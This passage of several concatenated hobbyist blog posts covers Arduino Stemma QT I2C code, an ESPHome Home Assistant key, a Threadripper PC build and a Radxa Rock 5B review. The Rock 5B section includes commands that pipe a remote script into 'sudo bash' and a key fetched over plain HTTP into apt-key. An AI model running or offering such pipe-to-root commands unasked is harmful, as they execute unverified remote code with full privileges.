ss.digitalRead(SS_SWITCH)) { Serial.println("Button pressed!"); } int32_t new_position = ss.getEncoderPosition(); // did we move arounde? if (encoder_position != new_position) { Serial.println(new_position); // display new position // change the neopixel color sspixel.setPixelColor(0, Wheel(new_position & 0xFF)); sspixel.show(); encoder_position = new_position; // and save for next round } // don't overwhelm serial port delay(10); } uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if (WheelPos < 85) { return sspixel.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if (WheelPos < 170) { WheelPos -= 85; return sspixel.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return sspixel.Color(WheelPos * 3, 255 - WheelPos * 3, 0); } So we actually have two problems to deal with here. The first problem is this Stemma QT expansion board has a NeoPixel AND the rotary encoder. We are going to need to pass Wire1 to both these objects (ss and sspixel). Now if you are a very logical person like me you might assume that to fix this one we do the exact same thing as the last example. Surely we just add &Wire1 after the ss.begin(SEESAW_ADDR). Wrong. Remember how I said unfortunately not all of these are the same to update? This one actually goes in the ss constructor like this: Adafruit_seesaw ss; *TO* Adafruit_seesaw ss(&Wire1); Similarly to fix the NeoPixel we actually need to change the sspixel initialization line to this: seesaw_NeoPixel sspixel = seesaw_NeoPixel(1, SS_NEOPIX, NEO_GRB + NEO_KHZ800, &Wire1); That’s it! Your final corrected code should look like this: #include "Adafruit_seesaw.h" #include <seesaw_neopixel.h> #define SS_SWITCH 24 #define SS_NEOPIX 6 #define SEESAW_ADDR 0x36 Adafruit_seesaw ss(&Wire1); seesaw_NeoPixel sspixel = seesaw_NeoPixel(1, SS_NEOPIX, NEO_GRB + NEO_KHZ800, &Wire1); int32_t encoder_position; void setup() { Serial.begin(115200); while (!Serial) delay(10); Serial.println("Looking for seesaw!"); if (! ss.begin(SEESAW_ADDR) || ! sspixel.begin(SEESAW_ADDR)) { Serial.println("Couldn't find seesaw on default address"); while(1) delay(10); } Serial.println("seesaw started"); uint32_t version = ((ss.getVersion() >> 16) & 0xFFFF); if (version != 4991){ Serial.print("Wrong firmware loaded? "); Serial.println(version); while(1) delay(10); } Serial.println("Found Product 4991"); // set not so bright! sspixel.setBrightness(20); sspixel.show(); // use a pin for the built in encoder switch ss.pinMode(SS_SWITCH, INPUT_PULLUP); // get starting position encoder_position = ss.getEncoderPosition(); Serial.println("Turning on interrupts"); delay(10); ss.setGPIOInterrupts((uint32_t)1 << SS_SWITCH, 1); ss.enableEncoderInterrupt(); } void loop() { if (! ss.digitalRead(SS_SWITCH)) { Serial.println("Button pressed!"); } int32_t new_position = ss.getEncoderPosition(); // did we move arounde? if (encoder_position != new_position) { Serial.println(new_position); // display new position // change the neopixel color sspixel.setPixelColor(0, Wheel(new_position & 0xFF)); sspixel.show(); encoder_position = new_position; // and save for next round } // don't overwhelm serial port delay(10); } uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if (WheelPos < 85) { return sspixel.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if (WheelPos < 170) { WheelPos -= 85; return sspixel.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return sspixel.Color(WheelPos * 3, 255 - WheelPos * 3, 0); } You should have a nice little rotary encoder that changes the NeoPixel color as you turn the knob: Adafruit Rotary Encoder Daily Chaining Now let’s combine the two examples and daisy chain them. Oh boy, this is going to be a nightmare, right? Nope, fortunately the hard part is over. The hardest part is just figuring out how to pass the Stemma QT Wire1 object to the various libraries/constructors. You can literally just squish the code from the two together like this: #include <Wire.h> #include <Adafruit_GFX.h> #include "Adafruit_LEDBackpack.h" #include "Adafruit_seesaw.h" #include <seesaw_neopixel.h> #define SS_SWITCH 24 #define SS_NEOPIX 6 #define SEESAW_ADDR 0x36 Adafruit_seesaw ss(&Wire1); seesaw_NeoPixel sspixel = seesaw_NeoPixel(1, SS_NEOPIX, NEO_GRB + NEO_KHZ800, &Wire1); int32_t encoder_position; Adafruit_7segment matrix = Adafruit_7segment(); void setup() { Serial.begin(9600); matrix.begin(0x70, &Wire1); Serial.println("Looking for seesaw!"); if (!ss.begin(SEESAW_ADDR)) { Serial.println("Couldn't find seesaw on default address"); while (1) delay(10); } if (!sspixel.begin(SEESAW_ADDR)) { Serial.println("Couldn't find seesaw pixel on default address"); while (1) delay(10); } Serial.println("seesaw started"); uint32_t version = ((ss.getVersion() >> 16) & 0xFFFF); if (version != 4991) { Serial.print("Wrong firmware loaded? "); Serial.println(version); while (1) delay(10); } Serial.println("Found Product 4991"); // set not so bright! sspixel.setBrightness(20); sspixel.show(); // use a pin for the built in encoder switch ss.pinMode(SS_SWITCH, INPUT_PULLUP); // get starting position encoder_position = ss.getEncoderPosition(); Serial.println("Turning on interrupts"); delay(10); ss.setGPIOInterrupts((uint32_t)1 << SS_SWITCH, 1); ss.enableEncoderInterrupt(); } void loop() { if (!ss.digitalRead(SS_SWITCH)) { Serial.println("Button pressed!"); } int32_t new_position = ss.getEncoderPosition(); // did we move arounde? if (encoder_position != new_position) { matrix.println(new_position); matrix.writeDisplay(); delay(10); Serial.println(new_position); // display new position // change the neopixel color sspixel.setPixelColor(0, Wheel(new_position & 0xFF)); sspixel.show(); encoder_position = new_position; // and save for next round } // don't overwhelm serial port delay(10); } uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if (WheelPos < 85) { return sspixel.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if (WheelPos < 170) { WheelPos -= 85; return sspixel.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return sspixel.Color(WheelPos * 3, 255 - WheelPos * 3, 0); } That gives the follow result: Adafruit 7 Segment Display + Rotary Encoder + QT Py In this example the only modification I’ve made is that it will also display the rotary coder’s position on the 7 segment display. It updates as you turn the knob (as does the color of the light still). Conclusion Once you get past the initial learning hump of understanding that the idea that the Stemma QT interface is addressed as Wire1 as well as overcoming issues related to having a new enough Arduino version to compile it you can start to see the potential. You can just throw these components together and daily chain them and it’s actually really easy to work with. I’d encourage Adafruit to update their documentation to include more examples related to Stemma QT addressing via Wire1. I pieced all of this together from forum posts from all over that hinted toward this was what I needed to do and went from there. It wasn’t easy because as I covered it’s not always the same to pass “Wire1” to a library you’re using. Hopefully these examples help some other people make this simple breakthrough and get started working with their Stemma QT devices. I’d definitely recommend them! Other Resources I’ve also covered making an Adafruit IoT button here that can perform actions within Home Assistant! Adafruit makes a neat USB-C to DC barrel jack power adapter that I’ve reviewed here #### Adafruit WiFi Action Key for Home Assistant / ESPHome Adafruit One Key w/ RGB colors set I’ve covered making a wireless Adafruit IoT button that can run any action within Home Assistant when you press the button using automations. These are great because they also have a RGB LED built in that you can use to show the status of something being controlled by the button. For example if you used it to control your garage door you could make the button red when your garage door is open and green when it’s shut. This way just by looking at the button you know what the state of the garage door is. Today I am going to cover something really similar: a single WiFi action key using gear from Adafruit as well as a RISC-V ESP32-C3 module. These also have individual RGB LEDs for each key just like the IoT button giving them the same advantages. Let’s begin! Table of Contents Toggle Hardware UsedAssemblyAdding to Home AssistantFinal ResultYAML Configuration for ESPHomeAutomationOther Resources Hardware Used Adafruit QT Py The Adafruit QT Py ESP32-C3 is an incredibly tiny board that has WiFi/Bluetooth capabilities and is powered through USB-C Links: Adafruit.com, Amazon.com* Adafruit NeoKey BFF The Adafruit NeoKey BFF add-on is meant to be soldered directly to the QT Py (or you can use socketed headers) and gives you a single key as well as a RGB LED (NeoPixel)! Links: Adafruit.com Cherry MX Switch Cherry MX switches (and similar switches) are compatible with the Adafruit BFF one key Links: Amazon.com*, AliExpress.com* Key Caps You’ll need some key caps if you don’t already have some spares. These can be anything you’d like. Links: Amazon.com*, AliExpress.com* Assembly It’s really easy. You have a couple of options. I usually solder socketed headers on the NeoKey and regular headers on the QT Py like this: Adafruit NeoKey BFF with QT Py – Headers Soldered You can see that the NeoKey simply plugs right into the QT Py with the headers soldered. You can also skip soldering socketed headers like I did on the NeoKey and solder it directly to the QT Py. The keyboard switches plug right into the board here: Adafruit NeoKey BFF without key attached You can see the two black sockets where the key switch plugs in. You just plug it right in there and it’s pretty much good to go. It can be secured further but just like with my headers I prefer to keep my options open and don’t solder the key switches typically. They hold in there well enough from my experience. Adding to Home Assistant I’m going to skip showing adding the device to Home Assistant since I’ve covered this many times already. See my Adafruit IoT button guide for adding the device to Home Assistant and installing ESPHome if you haven’t already. It’s the exact same process. Final Result Here’s what the device looks like within Home Assistant: Adafruit One-Key – Home Assistant Entities You can see my button press history on the side in the logbook. It’s easy to add automations here to make pressing the key actually do something. We will cover that more later. You can set the color of each NeoPixel here by clicking on the light icon: Change NeoPixel Color – Home Assistant After setting my colors in Home Assistant the key and QT Py looked like this: Adafruit One Key w/ RGB colors set I’m using the exact colors set in the screenshots above from earlier. If you look closely you can tell that the lower LED (on the QT Py) the light is actually orange while I set the key itself to red. YAML Configuration for ESPHome esphome: name: adafruit-onekey friendly_name: adafruit-onekey platformio_options: board_build.flash_mode: dioesp32: board: adafruit_qtpy_esp32c3 variant: esp32c3 framework: type: arduino version: 2.0.7 platform_version: 5.2.0light: - platform: neopixelbus type: GRB variant: WS2812 pin: GPIO2 method: type: esp32_rmt channel: 0 num_leds: 1 name: "QT Py NeoPixel" restore_mode: RESTORE_AND_ON - platform: neopixelbus type: GRBW variant: SK6812 pin: GPIO0 method: type: esp32_rmt channel: 1 num_leds: 1 name: "Key NeoPixel" restore_mode: RESTORE_AND_ONbinary_sensor: - platform: gpio pin: number: GPIO1 mode: INPUT_PULLUP name: "Key" device_class: window# Enable logginglogger: baud_rate: 0 deassert_rts_dtr: true# Enable Home Assistant APIapi: encryption: key: "XXXX"ota: password: "XXXX"wifi: ssid: !secret wifi_ssid password: !secret wifi_password domain: .jamesachambers.net power_save_mode: none Automation First head to the Settings menu and then choose “Automations and Scenes”: Home Assistant – Automations and Scenes Now click “Create Automation” in the bottom right hand of your screen. On the menu that pops up choose “Start with an empty automation”. You will be taken to a screen with triggers, conditions and actions. Setup your automation like this: Adafruit One-Key Automation In the above example I’ve set it so that pressing the key (which will turn it to the “Closed” state while it’s pressed) will open my main garage door. You can also add conditions and do things like change the NeoPixel light colors. This is how you can turn the key into a status indicator. You could make the key turn green when the garage is shut and red when it is open as an example. You could pick anything available to you though in Home Assistant. Any device in Home Assistant will have a set of actions and you can call any of those actions with your key! Other Resources I’ve also covered making an Adafruit IoT button here that can perform actions within Home Assistant! I’ve also implemented a 7-in-one air sensor into Home Assistant in this article (without soldering) You can see my guide on the Kauf smart lights I’m using with Home Assistant here All of my Home Assistant related articles are here #### Aircooled Open Frame AMD Ryzen Threadripper Build P5 Open Frame Threadripper Build This year I’ve been doing more with technology than ever and I wanted to build a workstation. As most of you probably know building a computer is an absolute nightmare right now. After navigating the process I figured I would share what I ended up building as it may give some people some ideas on how to complete their build. I also think the open frame builds turn out really cool and have some benefits I wanted to talk about as well. This is a workstation grade build so it is not going to be cheap nor will it be limited to just gaming. I wanted to give fair warning though because if you’re trying to build a gaming PC you can do it for way cheaper than this. This is a PC that can handle 100 browser tabs, multiple VSCode instances and two dozen other heavily resource consuming running applications and also mine cryptocurrency while doing it and ask for seconds. You don’t want to pay for the ability to do that for a gaming PC. Since I am a gamer though as well this *is* a PC that plays games extremely well so that should spice things up a bit and throw in some odd choices that someone building a pure workstation might scratch their head at as well. Everything in the build is generally attainable at reasonable prices (except for the GPU, but more on that later). Here’s what I ended up going with! Table of Contents Toggle Hardware UsedCPURAMGPUSSDMotherboardCaseCPU CoolerPSUMonitor (x2)Closer Motherboard ShotParts Availability Choices and Tips/StrategiesOpen Frame BenefitsBuild Challenges / TipsCPU / SocketMotherboard Clearance – Watch your standoffs!Thermaltake P5 / P3 Case TipsMonitor TipsPerformanceConclusionOther Resources Hardware Used CPU AMD Ryzen Threadripper 3960X 24C / 48T Processor The AMD Ryzen Threadripper 3960X has a whopping 24 cores and 48 threads! It’s much easier to get your hands on at a reasonable price in this crazy silicon market than a 3970X or higher so it’s still possible to build a system at a reasonable-ish price with this part. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* RAM 32GB G.Skill Trident Z 3800MHz CL14 (Quad Channel Kit) The G.Skill Trident Z 3800 MHz CL14 is an insanely fast memory kit. The CL14 is extremely impressive and difficult to find because low CAS latency memory is highly desirable for specific ultra high performance situations like cryptocurrency mining as well as other tasks that require very fast memory access speeds. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* GPU EVGA NVIDIA 3090 RTX FTW3 24GB GPU The NVIDIA RTX 3090 looks like a gaming GPU but it is actually meant to be a workstation GPU replacing the old “Titan” series cards, and a fantastic workstation GPU it is at that! The RTX 3090 is the most powerful consumer-focused GPU NVIDIA currently offers and is the king. Not cheap, difficult to find in stock and usually is being scalped. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SSD Samsung 980 Pro 2TB NVMe SSD The Samsung 980 Pro 2TB (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Motherboard GIGABYTE TRX40 AORUS Master Motherboard The GIGABYTE TRX40 AORUS Master is a widely available midrange board that includes WiFi 6, 5G LAN port + an additional 1G LAN port, and 4 PCI Express 4.0 ports as well as NVMe SSD and Quad Channel Memory support. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Case Thermaltake P5 Titanium Edition Open Frame Case The Thermaltake Core P5 Tempered Glass Titanium Edition ATX Vertical GPU Modular Gaming Open Frame Computer Case (that’s a mouthful) is the big brother of a series of two open frame cases, the other one being the very popular P3 case. It supports several different mounting configurations and includes a PCI riser to even support different GPU mounts! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Or for the mid-size P3 alternative that is more easily available: Thermaltake P3 Open Frame Case The Thermaltake Core P3 Tempered Glass Titanium Edition ATX Vertical GPU Modular Gaming Open Frame Computer Case (that’s a mouthful) is the smaller brother of the two open frame cases. It’s much easier to find than the P5 version. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* CPU Cooler Noctua NH-U14S TR4-SP3 CPU cooler The Noctua NH-U14S TR4-SP3 CPU cooler is a full plate contact cooler for the TRX40 socket. It provides fantastic air cooling very quietly as Noctua is well known for. Few brands are really trusted to air cool a Threadripper CPU but Noctua is one of them you’ll find highly recommended everywhere. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* PSU SilverStone Strider 1200W 80 Plus Platinum Modular PSU The SilverStone Strider is a 1200W 80 Plus platinum rated power supply. It’s fully modular and has a whopping 4x PCIe power connector slots which is why I have been using these in my builds. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Monitor (x2) LG UltraGear 27GN950-B 4K 144Hz 27″ Monitor The LG UltraGear 4K 144Hz monitors are one of few monitors up to the task of fully utilizing a 3090. Stock can be hard to find but if you are going to get a 3090 it’s one of very few GPUs ever made that can actually consistently push out anywhere near 144 FPS to hit the 144Hz refresh rate these monitors can do. Absolutely stunning low profile height adjustable monitor with very narrow bezels. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Closer Motherboard Shot P5 Open Frame Threadripper Build Closeup Parts Availability Choices and Tips/Strategies Many of the part choices were because of availability. I would have liked to have built with the 3970X theoretically but it was being scalped for 2X MSRP. The prices are really starting to come down though recently on all AMD CPUs as they are one of the companies that has been shipping and shipping and shipping and CPUs are quickly becoming one of the easier parts to get again (even high end threadripper parts)! My RAM choice may be difficult to find but I chose a particularly low CAS latency one since it’s helpful for some of my applications. You can still get a 3800MHz kit (even the same brand) that will have wider availability and a slightly lower price. It’s definitely worth it to buy a high MHz memory like this for the Ryzen platform since they can actually take advantage of these speeds whereas Intel hits bottlenecks that make sticks of memory a complete waste of money instead of just mostly a waste of money but still having some measurable performance gains. Mine ran at 3800MHz out of the box without any overclocking or tinkering on the stock motherboard settings (it even automatically applied the X.M.P. enhanced memory profile these fast sticks come with). Now let’s talk about GPUs. They’re an absolute nightmare to buy still and there’s really no “different” GPU you can buy that will alleviate this unlike *everything* else on my parts list. I got this 3090 RTX in November and paid a ridiculous scalped $2399 price for it. It pains me to say it but that was a bargain in retrospect as they are now 3K+ on Amazon minimum and that is down from 4K a month or two ago! The best GPU to get is the GPU you have the opportunity to buy or already have. If you are getting a build together you should start looking for GPUs *immediately* as you will want to subscribe to the stock checking lists, get on the EVGA waiting list, check NewEgg and all of those sites 50x a day, etc. The GPU market is particularly dicey because it has all the silicon problems compounded with a cryptocurrency mining boom as well as a work from home renaissance that is demanding desktop grade equipment at home. I wish I had better GPU news but I’m guessing most of you know how bad the GPU situation is right now and there’s just no easy way around it. TRX40 motherboards in the mid range are definitely obtainable. Some of the ultra high end boards are still hard to find such as the “Creator” series boards that are typically over $1000. I originally tried to get a MSI motherboard but had a *lot* of trouble getting that and went with the Gigabyte which has actually been great. You shouldn’t have much trouble here unless you’re looking for a very specific ultra high end. PSUs big enough to run a Threadripper setup + a 3090X reliably are expensive but they are much easier to find than a few months ago when they were almost impossible for a while there. Stock seems to be returning to normal. SSDs you won’t have any trouble with right now either. When Chia cryptocurrency mining was booming the high capacities were expensive for a while but that has really fizzled out and prices seem to be back to normal and stock is widely available. CPU coolers are also easy to find right now and prices are normal. The P5 case availability depends on your region. The P3 case is typically more widely available if you are having trouble finding the larger P5 variant. The P3 case is also a great open bench build meant more for mid-size boards but I have had my 3090 mounted on that chassis as well so check for a P3 if you are wanting to do an open frame build and can’t find the P5. Here’s my old Intel build on a P3 frame for comparison: Old Intel P3 Build Last but not least the monitors. 4K 144hz monitors are still pretty expensive. The good news is the availability has been much better than it was a few months ago. All of these choices are available. Prices are still a little high on them but that’s because stock has been so low that it’s taking some time for the prices to gradually return to normal. Tariffs may also be at play in some countries for these and a few other parts. Open Frame Benefits The primary benefit of an open frame setup is cooling. You don’t have to fight with the case to exhaust the hot air coming off your heatsinks. In our office we also have a ceiling fan which keeps the air circulating and is an ideal setup. You can also mount an open frame computer to the wall. The P5/P3 cases even have mounting support to do this! It’s a lot easier to work with if you make a lot of changes to your technology around the house all the time like I do. I really like that the open frame setup feels just like having everything on a workbench! Another huge benefit is cleaning. It’s so much easier to clean an open frame. I use my handy handheld duster tool and can clean the entire computer in about 20 seconds. No opening cases or dust collecting inside them or the screen traps. It has been great! Build Challenges / Tips CPU / Socket The new TRX40 socket for the Gen 3 Ryzen Threadripper series is quite a bit different from other sockets if you’ve built other AMD or Intel computers before. The first big thing that’s different is the socket is a giant rectangle with 2 sides longer than the other instead of a perfect square. The second thing that’s different is the processor comes with a plastic “tab”. The only other place I’ve seen tabs like this is with server grade CPUs such as the Intel Xeon family. There are typically two protective covers you take off a new motherboard. One will be in the CPU slot and will slide out (this is where you will slide the “tabs” of your processor in) and the other one will be covering the CPU socket itself. Do not ever touch the CPU socket itself as it has the very sensitive pins that will bend and mess up your board (they’re extremely difficult to bend back) and is why they include a second protective cover specifically for that. They give you a special tool with your CPU that you use to tighten the CPU and you have to both tighten the screws in the right order as well as open the socket back up in the right order. There will be big printed numbers on your socket showing which screws are which. It’s 1-2-3 to close and 3-2-1 to open. One tip with the tool is you should tighten the screw until the tool “clicks”. No more, and no less. Don’t start trying to tighten it again once it clicks, once it clicks it’s done. It may take you several attempts to seat the Threadripper processor correctly as it is infamously sensitive. If one screw is too tight or too loose the board won’t even post. It can be very difficult to diagnose some of these issues as well when you’ve never built one of these systems before. Why? Because you probably don’t have any of the parts that go in this grade of a system just laying around. I have a whole PC graveyard of parts but nothing worthy to even be slotted into these PCI Express 4.0 systems running at 3800MHz RAM speed etc. This made my normal strategy of swapping things to narrow them down ineffective. I recommend watching a YouTube video of someone doing this or having someone who has done it before with you when you attempt it the first time. It’s not very difficult, but it’s different enough and there’s enough pitfalls that you’ll really have a better experience if you prepare and if you’re really careless/unlucky you may damage the socket if you don’t understand how it is supposed to go in the socket (not directly, you use the tray with the blue tabs and slide it in there, and then that tray gently puts the CPU into the socket and you do the 3 screws with the CPU tool. Motherboard Clearance – Watch your standoffs! Another critical tip about the TRX40 motherboards (especially if you use a P5 or P3 Thermaltake case): there is extremely low clearance for the motherboard and pretty much anything there that doesn’t belong will short it. I had to actually take the rubber mounts for the cable channels off because the Gigabyte motherboard has a protective plate underneath your main motherboard. It has two layers basically! Without taking the rubber mounts off the Gigabyte would not mount flush to the standoffs. Be extremely careful that your motherboard is not making contact with any metal on the case. TRX40 motherboards have this really weird thing I haven’t seen much before which is that they have a ton of places that can be shorted against your case than any other board I’ve ever seen. Some motherboards even have “no standoff warning zones” for TRX40 motherboards. Do not place standoffs where your motherboard doesn’t have a hole. This is all it takes to short a TRX40 board is one standoff that doesn’t belong (you can do this with other types of motherboards too if you put standoffs on the holes that are meant for smaller motherboards instead of just the ones for your size motherboard) but I guarantee if you if you place even a single wrong one your system won’t even post (or if it does you’ll wish it didn’t). Be advised on TRX40 boards that not all ATX standoff spots may be used. It’s normal (and required) to leave them empty if there isn’t a hole on your motherboard for that standoff even if on your case it’s labeled “ATX”. I am not sure why these motherboards are running power that can be so easily shorted out by just placing what would normally be a correct standoff on one that they don’t want you to use. The MSI TRX40 Pro board has a ton of standoff warnings and “no standoff zones” that you will want to observe. The Gigabyte board doesn’t even trust us that much and made the board have a bottom protective plate to prevent shorting (as mentioned earlier I had to remove the rubber mounts from the case) but that is how big of a problem it is on these boards and you should definitely watch out for it! Thermaltake P5 / P3 Case Tips You can mount your GPU and motherboard several different ways. On my P3 build I mounted my GPU vertically and used the riser but on this build I used my standard PCI socket layout. I may switch it later as it is pretty easy to do and both the P3 and P5 come with a decent quality riser included. You can even mount your motherboard inside the case if you use the included tray but that really seems like it’s meant for much lower power systems and I strongly advise against that. I leave the protective glass the cases come with off the top and stay with the open frame case. I doubt it would have enough clearance with the Noctua cooler but if you went with a shorter cooler or water cooling / an AIO then you could absolutely use the tempered glass that comes with the case. It’s definitely easier during your build to not install the “feet” on the case yet. Leave it flat to do all of your installation and do the feet very last otherwise they just get in the way! Monitor Tips One critical thing to understand about 4K at 144Hz is that you actually need 8K cables to run it. Why? Because the cables that are rated for 4K are rated for 60Hz and not 144. They can’t handle it. You will actually need to get 8K display cables. Fortunately LG does give you one of the proper DisplayPort cables with the monitor but it’s quite short. I ended up buying longer 8K monitor cables and it has worked fine. If you ignore this problem your screens will turn black and flicker so it’s definitely something you want to make sure you pay attention to! Performance I’ve just completed the build so I haven’t tried any overclocking yet. Let’s verify all of the settings/components: Ryzen Threadripper Build: Task Manager CPU Perfect. We have all 24 cores and 48 logical processors activated. Now let’s check the memory tab: Ryzen Threadripper Build: Task Manager Memory 3800MHz speed matches what it should be. Let’s run a quick CPU-Z benchmark: Ryzen Build CPU-Z Benchmark You can also view my full CPU-Z validation for the whole system here. Conclusion It’s definitely still possible to build a gaming and even workstation grade PC in 2021! There are definitely challenges, especially with GPUs, but I’m very glad I navigated the market and built it. I don’t expect anyone to pick the exact same set parts of me as the beauty of building your own computer is you can get exactly what you need / want but I figured I’d share what worked for me. The Threadripper PC is just a different class of performance than anything I’ve ever experienced before. Combined with the quad channel 3800MHz memory and the PCIe 4.0 980 Pro NVMe SSD / 3090 GPU (also PCIe 4.0) and things are just absolutely wild. I can have as many VSCode instances / cryptocurrency miners / browser tabs / multimedia / compression / video encoding all going literally at the same time. That is exactly what I needed to continue to push the envelope on learning about new technologies and writing content! Hopefully it helps some of you out there who may be trying to build a powerful machine think of some different paths/choices they could take to still end up with an extremely powerful machine without paying scalper prices or having to wait until 2023 to complete their build! Other Resources For the ultimate canned air / duster replacement to clean your electronics check out: A Good Alternative to Canned Air / Duster for Electronics #### All Hail the Rock 5B: SBC King of 2023 Radxa Rock 5B Review With the Raspberry Pi 5 delayed until 2024 and older models unable to be kept in stock the single board computer market is wide open for competitors to really shine this generation. I’ve reviewed dozens of board and spent literally thousands of dollars trying to find boards worthy of your money and that are good enough to step into a lot of the roles people were using Raspberry Pis for. Today I’m going to be reviewing the Radxa Rock 5B and I couldn’t be more excited. I’ve been waiting for years for a single board computer to come along that is powerful enough to squarely beat the Raspberry Pi Compute Module 4. The Rock 5B not only beats it but leaves one wondering how Raspberry Pi is going to catch up. Let’s get started! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityOfficial AccessoriesAvailable ImagesFixing Debian Apt RepositoriesUpdating FirmwarePerformance BenchmarkPros / ConsProsConsConclusionOther Resources Hardware Used Radxa Rock 5B The Radxa Rock 5B has 8 CPU cores, a PCIe 3.0 interface and a powerful GPU. It’s one of the top performing single board computers available on Pi Benchmarks. Links: AliExpress*, Amazon.com* Radxa Rock 5B Case The official case for the Radxa Rock 5B is actually made of metal and really nice Links: Amazon.com*, AliExpress* Radxa Rock 5B Cooling Fan The official powered cooling solution for the Radxa Rock 5B. Highly recommend to avoid overheating (especially when running games). Links: AliExpress* Radxa eMMC Module The eMMC module compatible with the Rock 5B. Available from 16GB up to 128GB. Links: Amazon.com*, AliExpress*, Amazon.com.au*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Specifications ARM Quad Cortex A-17 + Quad Cortex A-55 CPU ARM Mali G610 MP4 GPU 5 TOPS NPU Two HDMI and one USB-C up to 8k 2500MB Ethernet with PoE support Supports HDMI 4K Input Supports PCIe 3.0 4x NVMe SSD Supports WiFi 6 and BT 5.2 (with official module) Build Quality Let’s start with the packaging. Just like the StarFive VisionFive 2 that I reviewed recently the Rock 5B is shipped in a clear hard shell. It looks like this: Radxa Rock 5B – Packaging I like this trend away from boxes that easily get smashed like I remember nearly all of them coming in a few years ago. You can rest easy knowing it will make it to you in one piece without getting smashed. It comes completely sealed in anti-static packaging as well. The board is incredibly high quality. Here’s a look at the top view: Radxa Rock 5B – Top View On the top of the board you can see one of our two M.2 slots. The one on top of the board is meant for E-keyed WiFi adapters. To see where the storage goes let’s take a look at the bottom of the board: Radxa Rock 5B – Bottom View There it is! As you can see this is a full size 2280 NVMe slot. If you look at the right edge of the board you’ll see the gold mount. You can also see the eMMC connectors right in the middle of the bottom of the board here. There’s a small black outline where the eMMC sites (J8-1 and J8-2). Official Accessories I did try a couple of the official accessories with the Rock 5B such as the official wireless module and the official cooler. Here’s what installing the cooler looks like: Radxa Rock 5B – Cooler Install And the finished result (with the WiFi module as well): Radxa Rock 5B – Accessories Installed Available Images The official page to get the Radxa Rock 5B images is here. The available selections are: Android Debian 11 (Bullseye) Ubuntu Server 20.04 The Debian build is the only one that will have a desktop at time of writing. There is also a Rock 5B Armbian build available. It says “maintainer needed” but there are builds available. There isn’t any third party image support listed but you can expect all of the third party images that typically support Radxa boards (there’s a lot of them) to slowly add support for the Rock 5B over time. Fixing Debian Apt Repositories When I booted into Debian it would not let me update securely from the apt repository. This can be fixed with the following one-liner: wget -O - apt.radxa.com/bullseye-stable/public.key | sudo apt-key add - After this run sudo apt update again and you should not encounter any errors. Updating Firmware Important: At time of writing NVMe booting won’t work without updating your firmware first. You can update the firmware on the Rock 5B by downloading and building rkdeveloptool. Here is the process: sudo apt-get install libudev-dev libusb-1.0-0-dev dh-autoreconf git build-essential git clone https://github.com/radxa/rkdeveloptool.git cd rkdeveloptool autoreconf -i ./configure make sudo cp rkdeveloptool /usr/local/bin/ cd .. wget https://dl.radxa.com/rock5/sw/images/loader/rock-5b/release/rock-5b-spi-image-g49da44e116d.img wget https://dl.radxa.com/rock5/sw/images/others/zero.img.gz sudo dd if=zero.img of=/dev/mtdblock0 sudo dd if=rock-5b-spi-image-g49da44e116d.img of=/dev/mtdblock0 This uses the rkdeveloptool to flash the “release” version of the firmware. This process also outlined here in the official Radxa documentation. Once you’ve got the latest SPI boot loader firmware installed you should be able to image the NVMe drive normally and boot from it! Performance Benchmark You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 1691.96 MB/s 